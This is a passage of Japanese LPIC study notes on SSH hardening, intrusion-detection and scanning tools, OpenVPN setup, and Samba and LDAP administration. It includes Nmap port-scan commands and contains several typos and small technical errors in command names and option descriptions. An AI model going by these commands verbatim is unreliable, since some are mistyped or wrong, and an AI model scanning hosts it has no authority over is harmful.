ホスト鍵は~/.ssh/known_hostsに格納される。 検証するときにフィンガープリントをクライアント側に登録しておけばサーバに正当性があるかどうか検証できる。 サーバ側の鍵でフィンガープリントは以下のように確認できる。

ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub

2回目以降の接続は接続先から送られたホスト鍵をKnown_hosts内の鍵と比較し問題がないとユーザ認証に進むこととなる。 そのためこの段階で接続先が悪意あるものによりなりすましされていたら警告が出るようになる。

13.4.3. 公開鍵認証

SSHではホスト認証後にユーザ認証に進む。 ユーザ認証では公開鍵認証が試行される。 公開鍵認証の手順は以下の通り。

  1. サーバ側に公開鍵を登録する
  2. SSH接続時に公開鍵が利用できるか確認が行われる
  3. クライアント側は公開鍵にユーザ名などの情報を加え、秘密鍵で署名しサーバに送信する
  4. サーバはユーザの公開鍵を使用して署名を確認する
  5. 確認できるとログインを許可する

公開鍵

なおユーザの公開鍵と秘密鍵ペアの生成にはssh-keygenコマンドを使用する。

ssh-keygenコマンド

公開鍵と秘密鍵のペアを作成するコマンド。

ssh-keygen [オプション]
オプション説明
-f ファイル名鍵ファイル名の指定
-t暗号化方式の指定(rsa1, dsa, rsa,ecdsa, ed25519)
-p既存の鍵ファイルのパスフレーズを変更する
-P パスフレーズ古いパスフレーズを指定する
-N パスフレーズ新しいパスフレーズを指定する
-lフィンガープリントの表示
-R ホスト名指定されたホスト鍵をknown_hostsから削除する

生成される鍵のデフォルト名は以下の通り。

バージョン秘密鍵公開鍵
Ver1.0identityidentyty.pub
Ver2.0(DSA)id_dsaid_dsa.pub
Ver2.0(RSA)id_rsaid_rsa.pub
Ver2.0(ECDSA)id_ecdsaid_ecdsa.pub
Ver2.0(ED25519)id_ed25519id_ed25519.pub

ユーザの公開鍵を接続先に登録する

ssh-keygenコマンドで公開鍵ファイルを作成した後、接続先ホストの~/.ssh/authorized_keysに登録する。 この際はコマンドを利用する場合はscpコマンドなどで転送する。

なお公開鍵は保存するauthorized_keysファイルは所有者のみ読み書きできるようにしておく。

chmod 600 ~/.ssh/authorized_keys

13.4.4. ssh-agent

ssh-agentは秘密鍵使用時に尋ねられるパスフレーズの入力の手間を省く機能のこと。 ssh-agentはクライアント側で稼働するデーモンで、秘密鍵をメモリ上に保持しておき、必要時にそれを利用する仕組みとなっている。 そのため毎度パスフレーズを打つ必要がない。

ssh-agentの利用にはssh-agentの子プロセスにbashを起動し、ssh-addコマンドで秘密鍵を登録する。

ssh-agent bash
ssh-add

この設定以降、このbashや子プロセスではパスフレーズの入力が不要となる。 ssh-agentが保持している秘密鍵の一覧はssh-add -lコマンドで確認できる。

13.4.5. SSHポート転送

SSHポート転送(SSHポートフォワーディング)はあるポートに送られてきたTCPパケットをSSHを使用した安全経路でリモートホストの任意ポートに転送すること。 この機能によりPOP、FTPなどの暗号化されていないプロトコルを使った通信の安全性を高めることができる。

SSHポート転送

ポート転送を行う場合のssh書式は以下の通り。

ssh -L [ローカルポート]:[リモートホスト]:[リモートポート] [リモートホストユーザ名]@[リモートホスト]

13.4.6. SSHサーバのセキュリティ

SSHサーバをデフォルト設定ではなく、適切に設定するとよりセキュアな運用ができる。 項目は以下の通り。

  • SSH Version1.0の禁止
  • パスワード認証の禁止
  • rootログインの禁止
  • 接続元制限

SSH Version1.0の禁止

SSHバージョン2.0のみを許可することで、SSHバージョン1.0の脆弱性を防ぐことができる。 sshd_configProtocol 2にすることで可能。

パスワード認証の禁止

パスワード認証は原則は無効にした方がよい。 これはブルートフォースアタックやパスワードが知られる危険性があるためである。

同様にsshd_configPasswordAuthentication noと記述する。

rootログインの禁止

rootユーザのリモートログインも基本は許可すべきではない。 sshd_configPermitRootLogin noと記述することでrootログインを禁止にできる。

ログインユーザの制限

ユーザ単位でログイン制限することが可能。 AllowUsersディレクティブでユーザを指定すると、指定していないユーザのログインは禁止にできる。

書式説明
AllowUsers [ユーザ名]ユーザのみログインを許可
AllowUsers [ユーザ名1] [ユーザ名2]ユーザ1, ユーザ2をログインを許可
AllowUsers [ユーザ名]@172.16.0.1172.16.0.1のユーザのみログインを許可
AllowUsers [ユーザ名]@example.comexample.comのユーザのみをログイン許可
AllowUsers *@172.16.0.1ホストが172.16.0.1のユーザのみログイン許可
AllowGroups wheel adminグループがwheelとadminユーザのみ許可

接続元の制限

SSHアクセスは/etc/hosts.allow/etc/hosts.denyで制御できる。 これはsshdが通常TCP Wrapper機能を参照しているからとなる。 前提にlibwrapという機能が利用されている必要があるので確認は以下コマンドで可能。

ldd `which sshd` | grep libwrap

13.5. セキュリティの設定

13.5.1. セキュリティツール

Snort

Snortはネットワークインターフェイス上のトラフィックを監視しパケットをいろんな規則と照合することで攻撃や侵入を捕らえられるIDSツール。 Snortが参照するルールセットはインターネット上で入手することができる。 またSnortの使用にはパケットキャプチャであるlibcapが必要となる。

Tripwire

Tripwireはファイルシステムの状況を記録し比較することでファイル改ざんを検知するプログラム。 検知はリアルタイムではなくcronにより定期的なスケジューリングにより起動する。 インストールと設定方法は以下の通り。

  • パッケージ/ソースからインストール
  • ポリシーファイルの作成
  • ベースラインデータベースの作成
  • 定期的チェック
  • 必要に応じたポリシーファイル/ベースラインデータベースのアップデート

なおTripWireでは以下項目をチェックできる。

  • ファイルタイプ
  • リンク数
  • パーミッション
  • iノード番号
  • 所有ユーザ
  • iノードのタイムスタンプ
  • 所有グループ
  • iノードのあるデバイスID
  • アクセス時刻
  • MD5/SHA/Haval/CRC32ハッシュ値
  • ファイル更新日時
  • ブロック数
  • ファイルサイズ

OpenVAS

OpenVASはOSSのセキュリティスキャナーでネットワーク経由で脆弱性チェックできるツール。 OpenVASは以下のコンポーネントで構成される。

コンポーネント説明
OpenVAS Scannerセキュリティスキャナ
OpenVAS Managerスキャナ/スキャンタスク/データ管理ソフトウェア
OpenVAS Administratorサービスやユーザを管理するソフトウェア
Greebone Security AsiistantWEBブラウザベースで操作するインターフェイス
Greebone Security DesktopGUIベースのクライアント
OpenVAS CLIコマンドラインベースのクライアント

Fail2ban

Failbanはログファイルを監視し攻撃を検知し、攻撃元IPを遮断するソフトウェア。 内部的には一定時間内に何度もログインを失敗するといったイベントにより、iptablesルールを書き換えアクセス元からの接続を遮断する。

13.5.2. 開いているポートの確認

Nmap

Nmapはポートスキャンツールで、開いているポートから稼働しているサービスを特定できる。

nmap <スキャンタイプ> <オプション> <IPアドレス \| ドメイン>
オプション説明
-sT接続スキャン
-sSSYNスキャン(TCP接続のSYNパケットを送信し、SYN+ACKが帰るかどうかでポートスキャンを行う)
-sNNullスキャン
-sFFINスキャン
-sXXmasスキャン
-sRRFCスキャン
-OOSを調べる

XmasツリースキャンというTCPヘッダのFIN、URQ、PSHフラグを有効にしたパケットを送って藩のを確かめる手法も利用できる。

nmap -sX www.example.com

netstat/ss/lsof/fuserコマンド

netstat,ss,,lsof,fuserコマンドも同様に開いているポートを確認できる。

netstat -atun

ss -atun

lsof -f -n

fuser -v -n tcp 22

13.5.3. TCP Wrapper

TCP Wrapperは各種サーバプログラムへのアクセス制御を集中管理する仕組み。 libwrapライブラリにより機能が提供される。 アクセス制御は/etc/hosts.allow/etc/hosts.denyに記述すことで可能。 これらのファイルで使えるワイルドカードは以下の通り。

ワイルドカード意味
ALL全てのサービス/ホスト
A EXCEPT BB以外のA
LOCAL「.」を含まないすべてのホスト(ローカルセグメントのホスト)
PARANOIDホスト名からDNS検索したアドレスとサービス要求元アドレスが不一致

ローカルネットワークからすべてのsshdへのアクセスを許可する記述は/etc/hosts.allowに以下のように記述する。

sshd: LOCAL

またspawnを使い特定のコマンドを実行させることもできる。

ALL:ALL:spawn logger -t hosts.deny Connectiondenied from %c

13.5.4. セキュリティ情報

セキュリティの情報源には以下のようなものがある。

CERT/CC

セキュリティ事故情報を収集しセキュリティに関する技術支援情報を発信しているサイト。

BUGTRAQ

BUGTRUGはバグ情報を公開するためのメーリングリスト。

CIAC

CIACは米エネルギー省が運営するサイトで、セキュリティインシデントの報告を行っている。

13.5.5. インシデントへの対処

サーバがクラックされると以下のことが行われる可能性がある。

  • コマンドの改ざん
  • ログ改ざんやsyslog停止
  • 悪意のあるソフトウェアのインストールと使用

改ざんされたlsコマンドでは不正なファイルのみを表示しないようにしてある場合があり、この場合はecho *コマンドによりlsを代用できる。 またファイル改ざんのチェックはrpmコマンドにより確認できる。

rpm -Va

このオプションはイストール時のファイルの状態と現状を比較し、差があればプロパティと一緒に表示する。 表示されるRPM検証記号は以下の通り。

記号説明
Sファイルサイズが異なる
Mアクセス権またはファイルタイプの変更がされている
5MD5チェックサムの値が異なる
Lシンボリックリンクが変更されている
U所有者が変更されている
G所有グループが変更されている
Tファイルの更新時刻が異なる
Dデバイスファイルが変更されている
?不明
c設定ファイルを表す

13.6. OpenVPN

VPNはインターネットなどの公衆ネットワークを介して、まるで専用線で接続されているようにプライベートなネットワークを構築するサービスのこと。 VPNでは暗号化した経路を使用することで安全に通信ができることを実現している。

13.6.1. OpenVPNとは

OpenVPNはLinuxでVPNを通す際に選択されるVPNの1つ。 OpenVPNではL2/L3プロトコルをSSL/TLSでカプセル化しOpenVPNサーバとOpenVPNクライアントを接続する。

OpenVPNでは公開鍵基盤(PKI)を使用する。 CA(認証局)、OpenVPNサーバ、OpenVPNクライアントそれぞれで必要になるファイルを以下にまとめる。

サイド必要ファイル
CACA証明書、CA秘密鍵
OpenVPNサーバCA証明書、サーバ証明書、サーバ秘密鍵、DHパラメータ
OpenVPNクライアントCA証明書、クライアント証明書、クライアント秘密鍵

なおCAを自己証明で行う場合は、CA秘密鍵はOpenVPNサーバに設置する。

またOpenVPNのクライアント-サーバ接続形態にはルーティング接続ブリッジ接続がある。 これらはネットワーク1からネットワーク2に対してVPN接続をした際の、ネットワーク2への接続の行われ方が異なる。

ルーティング接続

仮想トンネルネットワークを通して異なるネットワークに接続する方法。 VPNクライアントのネットワークにアクセスする際には、VPNサーバや他のルータを経由して(ルーティングして)アクセスすることになる。

特徴は以下の通り。

  • OpenVPNサーバ/クライアントは別々のネットワークが利用できる
  • LAN同士を接続する用途に向いている
  • 大規模アクセス向き

ブリッジ接続

仮想インターフェイス経由で接続する方法。

接続先ネットワークと同じネットワークセグメントのIPアドレスをOpenVPNクライアントの仮想インターフェイス(TAP)に割り当てることでOpenVPNクライアントは接続先ネットワークに参加できる。

特徴は以下の通り。

  • ブロードキャストが届く
  • 小規模ネットワーク/個人向き

13.6.2. 必要となるファイルの作成

OpenVPNで必要となる各ファイルは用意されたスクリプトで作成する。

パラメータの準備

サーバ証明書やCA証明書の作成にはいくつかパラメータを指定する必要がある。 何度も入力するの晴れ間なので/etc/openvpn/varsを編集してパラメータを書き換える。

export KEY_cOUNTRY = "JP"
export KEY_PROVINCE = "TOKYO"
:
:

設定したファイルを読み込み不要なファイルは削除する。

cd /etc/openvpn
source vars
./clean-all

CA証明書/CA秘密鍵の作成

認証用のCA証明書とCA秘密鍵を作成する。

./build-ca

上記コマンドでCA証明書ファイルca.crtとCA秘密鍵ファイルca.keyが作成される。 これらのファイルは/etc/openvpn/keysに配置する。 またCA証明書ca.crtはOpenVPNサーバ/クライアントの/etc/opnvpn/keysにも配置する。

サーバ証明書/サーバ秘密鍵の作成

OpenVPNサーバ用のサーバ証明書と秘密鍵を作成する。

./build-key-server server

引数にはホスト名orファイル名を指定する。 上記例の場合はサーバ証明書のserver.crtとサーバ秘密鍵のserver.keyが生成される。 これらのファイルはOpenVPNサーバの/etc/openvpn/keysに配置する。

DHパラメータの作成

DHは鍵交換を安全に行うためのものでDHパラメータと呼ばれる。

./build-dh

これによりdh1024.pemまたはdh2048.pemが生成される。 これらのファイルはOpenVPNサーバの/etc/openvpn/keysに配置する。

クライアント証明書/クライアント秘密鍵の作成

OpenVPNクライアント用のクライアント証明書とクライアント秘密鍵を作成する。

./build-client client

引数にはホスト名orファイル名を指定する。なおクライアントが複数いる場合は引数を変更して作成する。 上記例の場合はサーバ証明書のclient.crtとサーバ秘密鍵のclient.keyが生成される。 これらのファイルは安全にOpenVPNクライアントの/etc/openvpn/keysに配置する。

ブリッジ接続を行う場合の起動スクリプトの設定

はじめにブリッジ接続のためのopenvpn-startupopenvpn-shutdownを編集する。 次に/usr/share/doc/openvpn-2.3.1.4/sample/sample-scripts以下ににあるbridge-startbridge-stopをコピーしておく。

# /etc/openvpn/openvpn-startup

#!/bin/bash
/etc/openvpn/bridge-start
route add -net default gw 192.168.1.1
iptables -I FORWARD -i br0 -j ACCEPT
# /etc/openvpn/bridge-stop

#!/bin/bash
/etc/openvpn/bridge-stop

13.6.3. ブリッジ接続をする場合のOpenVPNサーバの設定

OpemVPMサーバの設定ファイルは/etc/openvpn/server.confとなり、SampleファイルはCentOS7系では/usr/share/open-vpn/sample/sample-config-files以下にある。

# ポート番号とプロトコル
port 1194
proto udp

# ルーティング接続なら「tun」、ブリッジ接続なら「tap0」
dev tap0

# 認証局証明書のファイル(絶対パス/設定ファイル起点の相対パス)
ca keys/ca.crt

# サーバの証明書ファイル
cert keys/server.crt

# サーバーの秘密鍵ファイル
key keys/server.key

# DHパラメータのファイル名
dh keys/dh2048.pem

# OpenVPNクライアントへ渡す情報
push " route 192.168.1.1 255.255.255.0"

# 実行ユーザ/グループ
user nobody
group nobody

# 接続中クライアントリスト出力ファイル
status /var/log/openvpn-status.log

# ログ出力するファイル(ない場合はsyslog)
log /var/log/openvpn.log

OpenVPNはUDPのポート1194を使用するのでOpenVPNサーバ側のネットワークでルータやファイヤーウォールで1194ポートを許可する設定が必要となる。 またIPパケットのフォワーディング設定も有効にする必要がある。

echo 1 > /proc/sys/net/ipv4/ip_forward

OpenVPNサービスの起動は以下の通り。

systemctl start openvpn-bridge

13.6.4. OpenVPNクライアントの設定

設定ファイルの主要内容は以下の通り。

# プロトコル
proto udp

# ルーティング接続なら「tun」、ブリッジ接続なら「tap0」
dev tap0

# Clientの指定
client

# 接続先サーバとポート番号
remote 112.56.23.112 1194

# 認証局証明書のファイル(絶対パス/設定ファイル起点の相対パス)
ca keys/ca.crt

# クライアントの証明書ファイル
cert keys/client.crt

# クライアントの秘密鍵ファイル
key keys/client.key

OpenVPNクライアントの起動例は以下の通り。

/usr/sbin/opnevpn /etc/openvpn/client.conf

14.3 - 3.Linuxサーバの高度な運用管理

LPIC Lv3の範囲(AD互換ツールのSamba-AD、セキュリティ応用、仮想化技術)など。Linuxサーバの高度な運用管理はこの項目でカバー。2025年1月現在LPIC300とLPIC303の一部をカバー。

14.3.1 - 1.Sambaの基礎

【LPIC300範囲】ファイルサーバといえばSamba。それ以外にも機能あるよ~などの説明。

1.1. Sambaの概念とアーキテクチャ

1.1.1. Sambaのバージョンと機能

Sambaとは

Microsoft Winodwsのファイル/プリンタ共有・認証機能をUnix/Linux OSに実装したOSSソフトウェアのこと。

Sambaサービスの実現にはSMB/CIFSプロトコルが利用される。

提供できる機能は以下の通り。

  • ファイルサーバ機能
  • プリントサーバ機能
  • WINSサーバ機能
  • ドメインコントローラ
  • ActiveDirectoryメンバーサーバ
  • Microsoftネットワーククライアント

Sambaのバージョン

Sambaには3.0系と4.0系がある。

機能Samba3Samba4
ドメインコントローラNTドメインのドメインコントローラ構築ができる(NTMLv2の使用、WINSサーバによる名前解決、LDAP連携の可能)ADドメインのドメインコントローラ構築ができる(Keroberos認証、DNSによる名前解決、LDAP内蔵)
ファイルサーバSMB2に対応SMB2,SMB3に対応

Samba3.0系のデーモンプロセス

Samba3.0系のデーモンプロセスはsmbdnmbにより提供される。

  • smbd * ファイル/プリント共有とユーザ認証機能 * ポート番号:139/TCP,445/TCP(SMB without NetBIOS)
  • nmbd * ブラウジング/NetBIOS名前解決機能 * ポート番号:137/UDP,138/UDP
  • winbindd * Linuxアカウント/Windowsアカウントを統合的に扱う仕組み * ポート番号: 445/TCP

Samba4.0系のデーモンプロセス

Samba4.0系のデーモンプロセスは3.0系に加えて以下のプロセスが追加されている。

  • samba
    • ActiveDirectoryドメインコントローラ機能
      • Keroberos認証
        • ポート番号:88/TCP・UDP
      • LDAP
        • ポート番号:389/TCP・UDP,636/TCP
      • Global Catalog * ポート番号:3268/TCP,3269/TCP

1.2. Sambaの設定

1.2.1. Sambaの起動

Sambaのコマンドによる起動

Sambaの起動方法はSystemdのシステムでは以下の通り。

systemctl start smb.client
systemctl start nmb.service

SysVinitを採用したシステムでは以下の通り。

/etc/init.d/smb start

testparmコマンド

testparmコマンドはsmb.confにミスがないかチェックできるコマンド

testparm [オプション]
オプション説明
-s構文チェック後Enter押さなくてもsmb.conf内容を表示
-v構文チェック後smb.confに記述されていない内容も表示

レジストリを使用した起動方法

設定ファイルを極力使用せずに、レジストリを使用して設定を行う方法がある。 この方法によるSambaのメリットは以下の通り。

  • Sambaサーバにログインせずにリモートで設定を行える
  • Sambaのデーモンの起動にかかる時間が短くなる。これはデーモンは必要なタイミングまでレジストリの設定データを読み込まないため。
  • 設定反映についてSambaのデーモンのリロードが不要になる

なお、レジストリベースのSamba設定とはWindowsのレジストリのような、階層を持つキーと値による設定形式のことであり、レジストリベースであっても設定自体は設定ファイル(バックエンド)に保存される。

1.2.2. smb.conf

Sambaサーバの設定はsmb.confファイルで行う。 なお、パッケージからインストールした場合は/etc/samba、ソースコードからインストールした場合は/usr/local/samba/etcディレクトリに格納される。

smb.confは全体設定、共有定義から構成される。

smb.confの構造は以下の通り。 コメントアウトは#;で可能。

# 全体設定
[global]
パラメータ名 = 値

# 共有定義
[homes]
パラメータ名 = 値

[printers]
パラメータ名 = 値

[セクション名1]
パラメータ名 = 値

[セクション名2]
パラメータ名 = 値
セクション説明
globalSamba全体設定
homes各ユーザのホームディレクトリ
printes共有プリンタの設定
共有名指定した共有に適用される設定

なお各セクションの真偽値はyes/true/1,no/false/0が使用できる。

globalセクションの設定

globalセクションではsmaba全体の設定を行う。 なお変更後はsambaの再起動が必要となる。

主要な項目は以下の通り。

[global]
    # Sambaサーバが所属するワークグループ名もしくはドメイン名を指定する
    workgroup = ワークグループ名|ドメイン名

    # Sambaサーバの動作モードを指定する
    server role = 動作モード
    # サーバ動作モード
    # AUTO : securityパラメータの設定に従う(デフォルト)
    # STANDALONE : スタンドアロンのサーバ
    # MEMBER SERVER : ドメインのメンバーサーバ
    # CLASSIC PRIMARY DOMAIN CONTROLLER : NTドメインのプライマリーコントローラ(PDC)
    # CLASSIC BACKUP DOMAIN CONTROLLER : NTドメインのバックアップドメインコントローラ(BDC)
    # ACTIVE DIRECTORY DOMAIN CONTROLLER : Active Domainのドメインコントローラ

    # NetBios名の指定
    netbios name = NETBios名

    # サーバの名前や説明の指定
    server string = コメント

    # 接続を許可するホストの指定(記載されていないホストは接続拒否)
    hosts allow = ホスト

    # ファイル共有に使用するポート(プロトコル)の優先順位の設定
    smb ports = 445 139 # CIFS優先

    # Guestアカウントの定義(アカウントが存在しないユーザにGuestとしてアクセスさせれる)
    guest account = ゲストユーザ名

    # Sambaユーザとして認証できない際の動作の指定
    map to guest = Never | Bad User | Bad password
    # Never: ゲスト認証の否認
    # Bad User: 存在しないユーザの指定でゲスト認証とみなす
    # Bad Password: Bad Userに加えてパスワード入力ミスの場合もゲスト認証とみなす

    # ログファイルの指定(「%m」で接続元ホストごとにログを分けれる)
    log file = ログファイル名

    # ログファイルの最大サイズをKB単位で指定
    max log size = サイズ

    # SambaサーバのログをWindowsのイベントビューアから参照する機能
    eventlog list = イベントログ名

    # ハッシュ値を用いた暗号化パスワードの使用を設定
    encrypt passwords = Yes | No

    # パスワード認証をsmbpassword方式で行う場合のパスワードファイルの指定
    smb password file = パスワードファイルのパス

    # SambaのパスワードとLinuxのパスワードを同期させるかの設定
    unix password sync = Yes | No
    passwd program = パスワードコマンドのパス
    passwd chat = 期待させる文字列

    # UNIXユーザを別ユーザ名とマッピングさせる
    # 「UNIXユーザ名=Windowsマシンのユーザ名」のように記述
    username map = マッピングファイル名

    # ログオフ時に実行するスクリプトファイルの指定
    logon script = スクリプトファイル名

    # SambaサーバをWINSサーバとして動作させる場合にYesを設定
    wins support = Yes | No

    # WINSサーバのIPアドレスをIPアドレスを指定する
    wins server = IPアドレス

homesセクションの設定

homeセクションでは各ユーザのホームディレクトリを指定する。

[home]
    browseable = no     # homesをブラウザリストに表示しない
    valid users = %S    # 共有にアクセス可能なユーザを制限

printersセクションの設定

共有プリンタの設定

[printers]
    printable = yes | no # スプールフォルダへの印刷データ書き込み許可設定
    path = スプールディレクトリのパス

共有名セクションの設定

指定した共有に適用される設定(以下例ではshare)を指定する。

[share]
    # コメントの指定
    comment = コメント

    # ブラウジングしたときの表示設定
    browseable = Yes | No

    # 書き込みの許可設定
    writeable = Yes | No
    read only = No | Yes

    # 共有ディレクトリのパスを指定
    path = ディレクトリのパス

    # 読み取り不可能なリソースの設定
    hide unreadable = yes | no

    # 共有内に作成するファイル/ディレクトリの所有者/グループを強制的に変換
    force user = ユーザ名
    force group = グループ名

    # 書き込みが例外許可されるユーザ/グループの指定
    write list = ユーザ名 | @グループ名

    # 「.」で始まる名前のファイル/ディレクトリを表示しないように隠し属性の適用の指定
    hide dot files = Yes | No

    # 任意の名前のファイルやディレクトリを表示させたくない場合に指定。「/」で複数指定可能。
    veto files = /ファイル名/

    # 共有内にファイルやディレクトリを作成する場合のパーミッション設定
    ############ AND演算 ##########################
    # ファイルに適用可能なパーミッション(Default:0744)
    create mask = mode
    # ディレクトリに適用可能なパーミッション(Default:0755)
    directory mask = mode
    ############ OR演算 ###########################
    # 必ずファイルに適用されるパーミッション(Default:0000)
    force create mode = mode
    # 必ずディレクトリに適用されるパーミッション(Default:0000)
    force directory mode = mode
    ###############################################

    # アクセス可能ユーザの指定
    valid users = ユーザ名

    # Guestユーザのログイン許可の指定
    guest ok = Yes | No
    public = yes | No

1.2.3. Samba変数

Sambaの設定ファイルsmb.confでは変数を使用できる。 以下のようなものがある。

変数説明
%D現ユーザーが所属するドメイン/ワークグループ名
%LサーバのNetBIOS名
%mクライアントのNetBIOS名
%Uサーバに接続しているユーザ名
%G%Uのプライマリグループ
%Sユーザが接続した共有名
%u共有に接続しているユーザ名
%g%uのプライマリグループ
%H%uのホームディレクトリ

1.3. Sambaの通常メンテナンス

1.3.1. Sambaの制御

Sambaを制御するための手段として構成ファイルに設定を記述する方法(smb.confの編集)とプログラムにメッセージを送る方法(smbcontrolコマンド)がある。

smbcontrolコマンド

smbcontrolはSambaのプロセス(smbd、nmbd、winbindd)にメッセージを送って制御するためのプログラムのこと。

smbcontrol [destination] [message-type] [parameter]
# 例
smbcontrol smbd shutdown
  • [destination] … メッセージの宛先を指定
    • smbd,nmbd,winbindd or allで指定
  • [message-type] … プロセスに送るコマンド
    • shotdown:デーモン停止
    • reload-config:設定ファイルの再読み込み
    • dubug ログレベル:指定したログレベルに変更
    • debuglevel:デバックレベルを問い合わせて表示
  • [parameter] … パラメータを必要とするコマンドの場合

smbstatusコマンド

Sambaサーバに接続しているクライアントの確認/サーバの稼働状況を確認できるコマンド。

共有に接続しているクライアントのユーザ名、グループ名、接続元IPアドレスとポートに加え、接続を受け付けたSambaのプロセスIDを表示する。

smbstatus

1.3.2. Sambaのログレベル

[global]セクションで使用されるログ設定に関わる主な設定項目は以下の通り。

項目説明
log file = ファイル名ログファイルを指定
log level = レベルログレベルの指定
max log size = キロバイトログファイルの最大サイズの指定
debug timestamp = yes/noログファイルに時刻を出力するかどうか
dubug hires timestamp = yes/noログファイル二秒単位以上の時刻を出力するか指定
debug pid = yes/noログファイルにPIDを出力するかどうか
debug uid = yes/noログファイルにUIDを出力するかどうか
eventlog list = イベントログ名SambaサーバのログをWindosのイベントビューアから参照する機能

Samba3系からはクラスごとにログレベルを設定できる。 使用できる主なクラスは以下の通り。

  • all … すべてのクラス(デフォルト)
  • tdb … TDBに関するログ
  • smb … SMBプロトコルのデバッグに関するログ
  • passdb … パスワードデータベースに関するログ
  • auth … 認証に関するログ
  • winbind … Winbindに関するログ

例)ログレベルを、パスワードデータベース関連は3、認証関連は4、その他は1に設定する場合

log level = 1 passdb:3 auth:4

1.4. Sambaのトラブルシューティング

1.4.1. TDB(Trivial Datadase)

TDB(Trivial Datadase)はSamba3.0から使用可能になったバイナリ形式の簡易データベースで様々な情報が格納されている。

smb -bコマンド

smb -bコマンドはTDBのディレクトリを確認できるコマンド

出力内容は長いため、通常はgrepコマンドを使用して必要な設定を確認する。

smb -b

tdbbackupコマンド

TDBファイルの検査およびバックアップとリストアを行うコマンド

tdbbackup [-v] TDBファイル名

-vTDBファイルの検査と、問題がある場合はバックアップからリストアを行うオプション。

tdbdumpコマンド

TDBファイルの内容表示を行うコマンド。

tdbdump

tdbtoolコマンド

TDBファイルの対話的な管理を行うコマンド。

tdbtool

tdbrestoreコマンド

tdbバックアップからリストアするコマンド。

tdbrestore > <リストアファイル> <  <バックアップファイル>

1.4.2. TDBファイル

Sambaが使用するデータベースファイルにはsercret.tdbregistory.tdbがある。

secret.tdb

Sambaが認証情報(ユーザー名、パスワードなど)を格納するためのデータベースファイル。

Sambaサーバーがユーザー認証を行う際に使用される。 通常、このファイルには、ユーザーのパスワードハッシュやアクセス許可情報などが保存される。

具体的に保存されるデータは以下のものがある。

  • machine/domain (SID)
  • LDAPと共に使用される秘密パスワード
  • machine 秘密トークン

registory.tdb

Sambaサーバーの設定情報を格納するためのデータベース。 Windowsレジストリのように、Sambaサーバーの構成や設定を管理する。

例えば、共有フォルダの設定、ユーザーのアクセス権限、ネットワークのパラメータなどがこのファイルに保存される。

1.4.3. Sambaパスワードデータベースに問い合わせ

smbpasswdコマンド

Sambaのパスワードデータベースを管理するためのユーティリティ。 パスワードの設定、変更、削除などを行う際に使用する。

smbpasswd

pdbeditコマンド

Sambaのパスワードデータベースを直接操作するための高度なユーティリティ。 ユーザーアカウントの追加、削除、属性の変更など、より広範な管理作業が可能。

pdbedit
オプション説明
-Lv詳細の表示
-aユーザの追加
-xユーザの削除

1.4.4. LDAP

LDAPとは

LDAPはネットワーク機器やユーザーID、パスワードを管理するディレクトリサービスの維持やアクセスを行うプロトコルのこと。 堅く言うと、X.500をベースとしたディレクトリサービスに接続するために使用されるプロトコルでDAPを軽量化したものともいえる。

一般的にLDAPは一元管理の認証サーバを構築する際に使用される。 LDAPによりユーザやリソースに関する情報を検索したり管理することができる。

LDIF

LDIFはディレクトリ内の情報を記述するファイル形式のこと。 LDAPサーバにディレクトリ情報を登録、変更する場合に使用される。 記法は以下の通り。

dn: 識別名
属性名: 値
属性名: 値
   :    

LDIFファイルでは最初の行でエントリの識別名(DN)を記述する。 また、複数のエントリを記載する場合は空行で区切り、コメントは行頭に「#」をつける。

なお、属性値は通常UTF-8のテキストで記載するが、バイナリデータなどの特殊なデータを指定する場合は「属性名::属性値」のようにし、属性値にはBase64でエンコードした値を指定する。

ldbsearchコマンド

LDAPデータベース内のエントリーを検索するためのコマンド。 指定されたクエリやフィルタを使用して、LDAPディレクトリ内の情報を検索する。

例えば、ユーザーアカウントやグループ、機器などの情報を検索するために使用される。

ldbsearch
オプション解説
-h 検索を行うLDAPサーバーのホストを指定します。
-b 検索のベースDNを指定します。
-s 検索のスコープを指定します。デフォルトはbaseで、oneまたはsubを指定できます。
-D バインドに使用するDNを指定します。
-Wパスワードをプロンプトで入力するように求めます。

ldbmodifyコマンド

LDAPデータベース内のエントリーを変更するためのコマンド。

LDIFファイルを使用して、エントリーの属性を変更する。 これにより、ユーザーの属性の更新やグループメンバーシップの変更などが可能になる。

ldbmodify
オプション解説
-h 変更を行うLDAPサーバーのホストを指定します。
-b 変更の対象となるエントリーのベースDNを指定します。
-D バインドに使用するDNを指定します。
-Wパスワードをプロンプトで入力するように求めます。

ldbeditコマンド

インタラクティブな方法でLDAPエントリーを編集するためのコマンド。

エディタを介してエントリーの属性を直接編集できる。これは、手動でのエントリーの編集が必要な場合に使用される。

ldbedit
オプション解説
-h エディットするLDAPサーバーのホストを指定します。
-b エディットの対象となるエントリーのベースDNを指定します。
-D バインドに使用するDNを指定します。
-Wパスワードをプロンプトで入力するように求めます。

ldbaddコマンド

LDAPデータベースに新しいエントリーを追加するためのコマンド。

追加するエントリーの情報を含むLDIFファイルを使用する。ユーザーアカウントやグループ、機器などの新しいエントリーをLDAPディレクトリに追加する際に使用される。

ldbadd
オプション解説
-h エディットするLDAPサーバーのホストを指定します。
-b エディットの対象となるエントリーのベースDNを指定します。
-D バインドに使用するDNを指定します。
-Wパスワードをプロンプトで入力するように求めます。

ldbdelコマンド

LDAPデータベースからエントリーを削除するためのコマンド。

削除するエントリーのDNを指定して使用する。 ユーザーアカウントやグループの削除など、LDAPディレクトリからエントリーを削除する際に使用される。

ldbdel
オプション解説
-h 削除を行うLDAPサーバーのホストを指定します。
-D バインドに使用するDNを指定します。
-Wパスワードをプロンプトで入力するように求めます。

14.3.2 - 2.SambaとActiveDirectory

【LPIC300範囲】SambaでAD互換機能を提供できるよ~っていう説明

2.1. ActiveDirectoryドメインコントローラとしてのSamba

2.1.1. ActiveDirectory

ActiveDirectoryとは

ActiveDirectoryはWindowsのサーバの機能で、ネットワークにつないでいるクライアント端末やサーバー、プリンター、アプリケーションなどの情報を収集し、一元管理できるディレクトリサービスのこと。アカウントの管理を行うディレクトリ・サービス・システムともいえる。

ActiveDirectoryを使用するメリットは全てのネットワークリソースを、一つのオブジェクトとして、一元管理することが出来るようになることにある。

ドメイン環境とドメインコントローラ(DC)

ActiveDirectoryではユーザやコンピュータなどのリソースがドメインに参加することによりリソースの一元管理することが可能となう。 この一元管理にはドメインコントローラ(DC)と呼ばれる専用サーバが使用される。

ドメインコントローラによる認証手順は以下の通り

  1. ユーザがドメイン参加コンピュータにログインする
  2. 認証データをドメインコントローラに送信する
  3. ドメインコントローラで認証データが正しいと確認できた場合チケットを発行し返送する
